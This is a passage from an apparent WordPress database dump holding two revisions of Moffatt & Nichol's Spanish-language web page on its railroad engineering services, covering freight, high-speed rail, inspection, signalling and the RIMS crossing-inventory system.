abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-9','','','2012-09-03 10:04:37','2012-09-03 10:04:37','',651,'http://moffattnichol.com/spanish/651-revision-9/',0,'revision','',0),(2669,1,'2012-09-04 11:23:30','2012-09-04 11:23:30','<div class=\"content_faq\">\r\n[anything_slides cat=railroads width=588 height=325 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction] \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img 